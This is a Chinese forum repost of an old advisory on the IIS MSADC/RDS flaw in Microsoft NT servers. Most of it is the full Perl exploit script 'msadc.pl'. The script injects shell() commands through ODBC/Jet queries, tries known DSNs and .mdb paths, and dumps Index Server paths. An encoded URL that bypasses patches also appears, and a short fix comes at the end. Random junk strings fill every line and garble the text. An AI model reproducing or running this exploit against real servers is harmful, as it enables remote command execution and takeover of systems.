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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 6D/'`  
3nFt1E   
涉及程序: EJm4xkYLj1  
Microsoft NT server E4HU 'y~  
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描述: G7-!`-Nk  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 - k`.j  
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详细: =|SdVv   
如果你没有时间读详细内容的话,就删除: qLjT.7 .x  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YG[w@u  
有关的安全问题就没有了。 MzTW8  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 s".HEP~]=  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1 Z[f {T)  
关于利用ODBC远程漏洞的描述,请参看: kMxjS^fr  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^Mytp>7  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 p2d\ZgWD=)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZK !A#Jm{  
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这里不再论述。 7SS07$B  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: KQmZ#W%2m  
N 8t=@~]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset keCRvlZ4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /fwgqFVk  
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*<9$D  
#将下面这段保存为txt文件,然后: "perl -x 文件名" <z)E (J\  
\:&@;!a  
#!perl A3+6 #?:;  
# $sgH'/>  
# MSADC/RDS 'usage' (aka exploit) script T+CajSV  
# /Ox)|) l  
# by rain.forest.puppy G]*|H0j  
# <B[G |FY,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me m ,tXE%l  
# beta test and find errors! 7NF/]y4w  
J?Iq9f  
use Socket; use Getopt::Std; L`3n2DEBf  
getopts("e:vd:h:XR", \%args); `&*bM0(J  
wk[ wNIu  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :&yDqoQKJ  
^:cRp9l"7  
if (!defined $args{h} && !defined $args{R}) { -cfx2;68  
print qq~ MCYl{uH!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } JwP:2-o  
-h <host> = host you want to scan (ip or domain) (vyz;Ob  
-d <seconds> = delay between calls, default 1 second oNYZIk:  
-X = dump Index Server path table, if available ( ?Q|s,  
-v = verbose `s /?b|,  
-e = external dictionary file for step 5 YQVcECj  
K=\&+at1  
Or a -R will resume a command session Ijedo/  
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~; exit;} /[pqI0sf<A  
x$B&L`QV  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; AHd-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} WS,7dz  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} A 's-'8m  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nSS=%,?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} V4K'R2t  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Y25uU%6t_  
J8Z0D:5  
if (!defined $args{R}){ $ret = &has_msadc; D>kD1B1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (tCib 4  
hbfq]v*X  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Zb(t3I>n  
. "cmd /c "; xRxy|x[  
$in=<STDIN>; chomp $in; Lj 8<' "U#  
$command="cmd /c " . $in ; ISNcswN#  
^v :Zo  
if (defined $args{R}) {&load; exit;} aj8Rb&  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kb #^lO  
&try_btcustmr; AsxD}Nw[Z*  
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print "\nStep 2: Trying to make our own DSN..."; ct n, ]ld  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; BIMKsF Zt  
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print "\nStep 3: Trying known DSNs..."; + ^ yq;z  
&known_dsn; f j<H6|3  
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print "\nStep 4: Trying known .mdbs..."; 3V;gW%>  
&known_mdb; t;O1IMF  
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if (defined $args{e}){ 8r:M*25  
print "\nStep 5: Trying dictionary of DSN names..."; \b8\Ug~t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  .i/m  
ht6244:  
print "Sorry Charley...maybe next time?\n"; vg\/DbI'  
exit; ' Q7Y-V  
8Y{s;U0n  
############################################################################## kiUk4&1  
pIO4,VL;W  
sub sendraw { # ripped and modded from whisker r"wtZ]69  
sleep($delay); # it's a DoS on the server! At least on mine... J;QUPpH Z  
my ($pstr)=@_; o0I9M?lP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I:=dG[\h2  
die("Socket problems\n"); sYn[uPefj  
if(connect(S,pack "SnA4x8",2,80,$target)){ Vxdp|  
select(S); $|=1; q=5l4|1  
print $pstr; my @in=<S>; ?<%=: Yh  
select(STDOUT); close(S); +U8Bln  
return @in; V3sL;  
} else { die("Can't connect...\n"); }} zx%X~U   
Vfs $ VY2.  
############################################################################## !:0v{ZQ  
IVjU`ij  
sub make_header { # make the HTTP request 7@;">`zvm  
my $msadc=<<EOT ^mPPyT,(  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (03pJV&K  
User-Agent: ACTIVEDATA 8]"(!i_;)  
Host: $ip r4{<Z3*N  
Content-Length: $clen |g&ym Fc  
Connection: Keep-Alive [EZYsOr.  
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ADCClientVersion:01.06 P LR0#).n  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 &|o$=Ad  
*l+Cl%e  
--!ADM!ROX!YOUR!WORLD! wpo1  
Content-Type: application/x-varg ^k/i-%k0  
Content-Length: $reqlen Op}ZB:  
^DAu5|--R  
EOT 0D~ Tga)  
; $msadc=~s/\n/\r\n/g; |m* .LTO  
return $msadc;} Ciihsm  
bbN%$/d  
############################################################################## 77,oPLSn  
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sub make_req { # make the RDS request #@f[bP}a  
my ($switch, $p1, $p2)=@_; wWjG JvJ  
my $req=""; my $t1, $t2, $query, $dsn; m7jA ,~O  
oy\B;aAK  
if ($switch==1){ # this is the btcustmr.mdb query @wN G  
$query="Select * from Customers where City=" . make_shell(); o(G"k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  xvm5   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h5~n 1qX  
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elsif ($switch==2){ # this is general make table query SreYJT%  
$query="create table AZZ (B int, C varchar(10))"; P~ 0Jg# V  
$dsn="$p1";} :#{Xuy:  
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elsif ($switch==3){ # this is general exploit table query F4C!CUI  
$query="select * from AZZ where C=" . make_shell(); veh 5 }2  
$dsn="$p1";} }*wLEa  
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elsif ($switch==4){ # attempt to hork file info from index server 3YL l;TP_  
$query="select path from scope()"; *dsX#Iz  
$dsn="Provider=MSIDXS;";} 1y5Ex:JVZT  
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elsif ($switch==5){ # bad query I0 Ia6w9  
$query="select"; ?ny =  
$dsn="$p1";} uh3) 0.nR  
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$t1= make_unicode($query); `'4)q}bB  
$t2= make_unicode($dsn); = [@)R!3H  
$req = "\x02\x00\x03\x00"; %JL]; 4'  
$req.= "\x08\x00" . pack ("S1", length($t1)); KtN&,C )lJ  
$req.= "\x00\x00" . $t1 ; w=_Jc8/.  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4 J^Q]-Z  
$req.= "\x00\x00" . $t2 ; k4\UK#ODe  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4{na+M  
return $req;} S\x=&Rz  
p9[6^rjx8  
############################################################################## S]>wc yy=n  
Frm;Ej3?$  
sub make_shell { # this makes the shell() statement .qD@ Y3-  
return "'|shell(\"$command\")|'";} p3x?[ Ww  
yi6N-7  
############################################################################## `wz[='yM  
pmc=NTr&<  
sub make_unicode { # quick little function to convert to unicode 3=.Y,ENM;  
my ($in)=@_; my $out; On_@HQ/FI  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B(5c9DI`  
return $out;} D]03eu  
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############################################################################## kuMKX`_  
1 Y/$,Oa5  
sub rdo_success { # checks for RDO return success (this is kludge) \Sy7 "a  
my (@in) = @_; my $base=content_start(@in); -*ELLY[  
if($in[$base]=~/multipart\/mixed/){ eVz#7vqv   
return 1 if( $in[$base+10]=~/^\x09\x00/ );} X&\d)/Y  
return 0;} k5BXirB  
#2p#VQh  
############################################################################## t%VDRZo7  
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sub make_dsn { # this makes a DSN for us JgfVRqm   
my @drives=("c","d","e","f"); d5m`Bm-{  
print "\nMaking DSN: "; Qst$S}n  
foreach $drive (@drives) { 7'p8 a<x  
print "$drive: "; U>qHn'M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $W8Cf[a  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" L EWhb!U  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #KpY6M-H  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .K8w8X/3  
return 0 if $2 eq "404"; # not found/doesn't exist ii|? ;  
if($2 eq "200") { ~Qj}ijWD  
foreach $line (@results) { oy.[+EI`|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :3ZYJW1  
} return 0;} b'p4wE>  
"jg@w%~  
############################################################################## " {de k  
#CUz uk&  
sub verify_exists { QV|>4^1D  
my ($page)=@_; [:;# ]?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); C"uahP[Y  
return $results[0];} ?;ukvD  
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############################################################################## h)(* q+a  
IzLF'F  
sub try_btcustmr { -6~'cm  
my @drives=("c","d","e","f"); (nSml,gU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $9!D\N,}]C  
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foreach $dir (@dirs) { "E*e2W  
print "$dir -> "; # fun status so you can see progress | }&RXD  
foreach $drive (@drives) { K7TzF&  
print "$drive: "; # ditto j f~wBm d7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; x34f9! 't  
$reqlenlen=length( "$reqlen" ); VRng=,  
$clen= 206 + $reqlenlen + $reqlen; -%c<IX>z9  
y*b3&%.ml  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;iYff N  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} u0s8yPA  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} T/r#H__`  
P 1>AOH2yG  
############################################################################## JgRYljQi2  
?V(^YFzZ  
sub odbc_error { 9/o vKpY  
my (@in)=@_; my $base; R3.*dqo$  
my $base = content_start(@in); u eb-2[=  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this CON0E~"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _wDS#t;!M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \Q$HXK  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g(x9S'H3l  
return $in[$base+4].$in[$base+5].$in[$base+6];} Of}|ib^t  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k\r(=cex6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?knYY>Kzh1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;T+pu>)  
j+4H}XyE  
############################################################################## H U+ I  
62'1X"  
sub verbose { yl&UM qI(  
my ($in)=@_; _`-1aA&n~  
return if !$verbose; l1=JrpCan  
print STDOUT "\n$in\n";} d' >>E  
px''.8   
############################################################################## ,YYVj{~2  
2{,n_w?Wy  
sub save { 9SQ4cv*2  
my ($p1, $p2, $p3, $p4)=@_; @p=AWi}\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q%YV$$c   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R,2P3lv1v@  
close OUT;} nR;D#"p%  
Ddju~510  
############################################################################## 25y6a|`  
/'.=sH  
sub load { `YBkF  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; h@{_duu  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  |J5 =J  
@p=<IN>; close(IN); ecJ6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xw^.bz|  
$target= inet_aton($ip) || die("inet_aton problems"); 2.e vx  
print "Resuming to $ip ..."; Y5q3T`x E  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SGc8^%-`  
if($p[1]==1) { o|pT;1a"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; >JwLk[=j  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;lX(}2tXW  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); E.bi05l  
if (rdo_success(@results)){print "Success!\n";} sW#JjtK  
else { print "failed\n"; verbose(odbc_error(@results));}} PCrU<J 7  
elsif ($p[1]==3){ }G<T:(a  
if(run_query("$p[3]")){ 58xnB!h\}  
print "Success!\n";} else { print "failed\n"; }} %(/!ljh_  
elsif ($p[1]==4){ VZn=rw  
if(run_query($drvst . "$p[3]")){ 7%?jL9Vw  
print "Success!\n"; } else { print "failed\n"; }} _,74)l1  
exit;} ">81J5qgd  
FyoEQ%.bI  
############################################################################## tvKAIwe  
T GB_~Bqe  
sub create_table { BG&cQr  
my ($in)=@_; <+j)P4O4  
$reqlen=length( make_req(2,$in,"") ) - 28; penlG36Q  
$reqlenlen=length( "$reqlen" ); P,S G.EFK  
$clen= 206 + $reqlenlen + $reqlen; `Pn[tuIO  
my @results=sendraw(make_header() . make_req(2,$in,"")); hg@}@Wq\)  
return 1 if rdo_success(@results); 3 voT^o  
my $temp= odbc_error(@results); verbose($temp); d&8APe  
return 1 if $temp=~/Table 'AZZ' already exists/; tMx}*l|]  
return 0;} Q;Wj?8}  
[Qt?W gPj  
############################################################################## #L}+H!Myh  
V D?*h  
sub known_dsn { Uh1NO&i.W  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?']h%'Q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /e}#' H   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =QJRMF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); DaHZ{T8>d  
Pl=]Srw  
foreach $dSn (@dsns) { c?2MBtnu  
print "."; J<gJc*Q  
next if (!is_access("DSN=$dSn")); h&3YGCl  
if(create_table("DSN=$dSn")){ ZSy?T  
print "$dSn successful\n"; 9Mp$8-=>7  
if(run_query("DSN=$dSn")){ g.JN_t5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x"P);su  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?rX]x8iP  
|%a4` w  
############################################################################## ,6^ znOt  
C`jM0Q  
sub is_access { ;^Sr"v6r>u  
my ($in)=@_; (m[bWdANnW  
$reqlen=length( make_req(5,$in,"") ) - 28; M@1r:4CoKH  
$reqlenlen=length( "$reqlen" ); vR6Bn  
$clen= 206 + $reqlenlen + $reqlen; k^ F@X  
my @results=sendraw(make_header() . make_req(5,$in,"")); 2f`nMW  
my $temp= odbc_error(@results); YT/kC'A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); PYRd] %X  
return 0;} ^>y@4qB  
2 !" XzdD  
############################################################################## V==z"  
SHb(O<6  
sub run_query { I:V0Xxz5t  
my ($in)=@_; ]&~]#vB#  
$reqlen=length( make_req(3,$in,"") ) - 28; {4aWR><  
$reqlenlen=length( "$reqlen" );  }}<Z,/O  
$clen= 206 + $reqlenlen + $reqlen; x_!0.SU  
my @results=sendraw(make_header() . make_req(3,$in,"")); Il@Y|hK  
return 1 if rdo_success(@results); z\ss4  
my $temp= odbc_error(@results); verbose($temp); q}BzyC=:n  
return 0;} gnp~OVDqfL  
^[-el=oKn0  
############################################################################## ;8S/6FI  
>N\0"F7.  
sub known_mdb { t2" (2  
my @drives=("c","d","e","f","g"); !  Z`0(d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l=N2lHU  
my $dir, $drive, $mdb; raVA?|'g~  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D0(xNhmKz  
FOwDp0  
# this is sparse, because I don't know of many (R~]|?:wt  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e6B{QP#jq  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  8@{OR"Ec  
"\\system32\\certmdb.mdb", kPBV6+d~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {K{EOB_u  
{j{+0V  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", |sZ!  
"\\cfusion\\cfapps\\forums\\forums_.mdb", I2$T"K:eo  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", $GQ`clj<  
"\\cfusion\\cfapps\\security\\realm_.mdb", I\?9+3 XnQ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", . #Z+Z  
"\\cfusion\\database\\cfexamples.mdb", R:JX<Ba  
"\\cfusion\\database\\cfsnippets.mdb", Ll4bdz,  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", H xV#WoYKj  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !|q<E0@w\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %S` v!*2  
"\\cfusion\\database\\smpolicy.mdb", YJS{i  
"\\cfusion\\database\cypress.mdb", oBq 49u1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", q{2I_[p  
"\\website\\cgi-win\\dbsample.mdb", }ZSQ>8a  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ffXyc2o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }u+a<:pkK  
); #these are just 6<,dRn  
foreach $drive (@drives) { m]_FQWfet  
foreach $dir (@dirs){ qQi.?<d2"s  
foreach $mdb (@sysmdbs) { _ ~RpGX  
print "."; CSbI85F  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .I VlEG0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3bqC\i^[\m  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m+{K^kr[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =@u 5|:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} dLsn\m>  
xCzebG["  
foreach $drive (@drives) { b96%")  
foreach $mdb (@mdbs) { B()/.w?A  
print "."; 1Kvx1p   
if(create_table($drv . $drive . $dir . $mdb)){ i`/+,<  
print "\n" . $drive . $dir . $mdb . " successful\n"; b5m=7;u*h  
if(run_query($drv . $drive . $dir . $mdb)){ D47R  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; dt[k\ !-v  
} else { print "Something's borked. Use verbose next time\n"; }}}} mDGn:oRj  
} @cRZk`|1n  
wi8Yl1p]!z  
############################################################################## }~h'FHCC+  
6~#Ih)K  
sub hork_idx { HIGq%m=-x  
print "\nAttempting to dump Index Server tables...\n"; 3'c\;1lhT  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; M@P 1,Y  
$reqlen=length( make_req(4,"","") ) - 28; gx03xPeu  
$reqlenlen=length( "$reqlen" ); {:c]|^w6  
$clen= 206 + $reqlenlen + $reqlen; k+V6,V)my  
my @results=sendraw2(make_header() . make_req(4,"","")); FLoNE>q  
if (rdo_success(@results)){ /!}'t  
my $max=@results; my $c; my %d; >U1R.B7f  
for($c=19; $c<$max; $c++){ H* ,,^  
$results[$c]=~s/\x00//g; Hv]7e|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "M|P+A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; #U=X NU}k  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }7{t^>;D  
$d{"$1$2"}="";} ~Au,#7X)  
foreach $c (keys %d){ print "$c\n"; } ]fnnZ  
} else {print "Index server doesn't seem to be installed.\n"; }} T9 <2A1  
&2-L. Xb  
############################################################################## ,:Vm6u!  
4RKW  
sub dsn_dict { PUQES(&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 4GG>!@|  
while(<IN>){ C=uZ1xg*,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _4 6X%k  
next if (!is_access("DSN=$dSn")); 2;L|y._`w  
if(create_table("DSN=$dSn")){ !$A37j6  
print "$dSn successful\n"; m`4R]L]  
if(run_query("DSN=$dSn")){ 'B83m#HR#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Sz{O2 l Y  
print "Something's borked. Use verbose next time\n";}}} 41#w|L \  
print "\n"; close(IN);} %or,{mmiM:  
,1q_pep~?%  
############################################################################## _qvK*nE  
VhT= l  
sub sendraw2 { # ripped and modded from whisker in<Rq"L  
sleep($delay); # it's a DoS on the server! At least on mine... " +KJop  
my ($pstr)=@_; 9/SXs0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g u)=wu0  
die("Socket problems\n"); }],Z;:  
if(connect(S,pack "SnA4x8",2,80,$target)){ WqxUXH  
print "Connected. Getting data"; *BD=O@  
open(OUT,">raw.out"); my @in; 1\RGM<q$f  
select(S); $|=1; print $pstr; M:Er_,E  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} n}A\2bO  
close(OUT); select(STDOUT); close(S); return @in; OQ :dJe6  
} else { die("Can't connect...\n"); }} oRN-xng  
%CZ-r"A  
############################################################################## OE)~yKy  
.*=]gZ$IE  
sub content_start { # this will take in the server headers vgn@d,v  
my (@in)=@_; my $c; QU{Ech'  
for ($c=1;$c<500;$c++) { r8xyd"Axy  
if($in[$c] =~/^\x0d\x0a/){ * v8Ts  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~/_9P Fk  
else { return $c+1; }}} =1h9rlFj"D  
return -1;} # it should never get here actually jO9ip  
_FbC{yI8;  
##############################################################################  "SN4*  
oq-<ob  
sub funky { d;tkJ2@NO  
my (@in)=@_; my $error=odbc_error(@in); 2y0J`!/)  
if($error=~/ADO could not find the specified provider/){ k)S.]!u&G  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tg4Y i|5  
exit;} 1ju#9i`.Wg  
if($error=~/A Handler is required/){ Kzy/9  
print "\nServer has custom handler filters (they most likely are patched)\n"; Bhp OXqg  
exit;} A6<C-1 N}j  
if($error=~/specified Handler has denied Access/){ 5q{h 2).)  
print "\nServer has custom handler filters (they most likely are patched)\n"; tC8(XMVx  
exit;}} C8@TZ[w  
ZA~Z1Mro#"  
############################################################################## v,NHQyk  
7Y=cn_ wU  
sub has_msadc { d {lP  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); M_B:{%4  
my $base=content_start(@results); z2ms^Y=j  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Nd:R" p*8  
return 0;} \u`)kJ5o1  
: Ud[f`t  
######################## ]u-SL md  
:&}odx!-!C  
dGZntT 2D  
解决方案: 0uVv<Q~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll W#_/ak$uF*  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 `T ^G^7&  
C>^D*C(  
拿出来充数 哈哈
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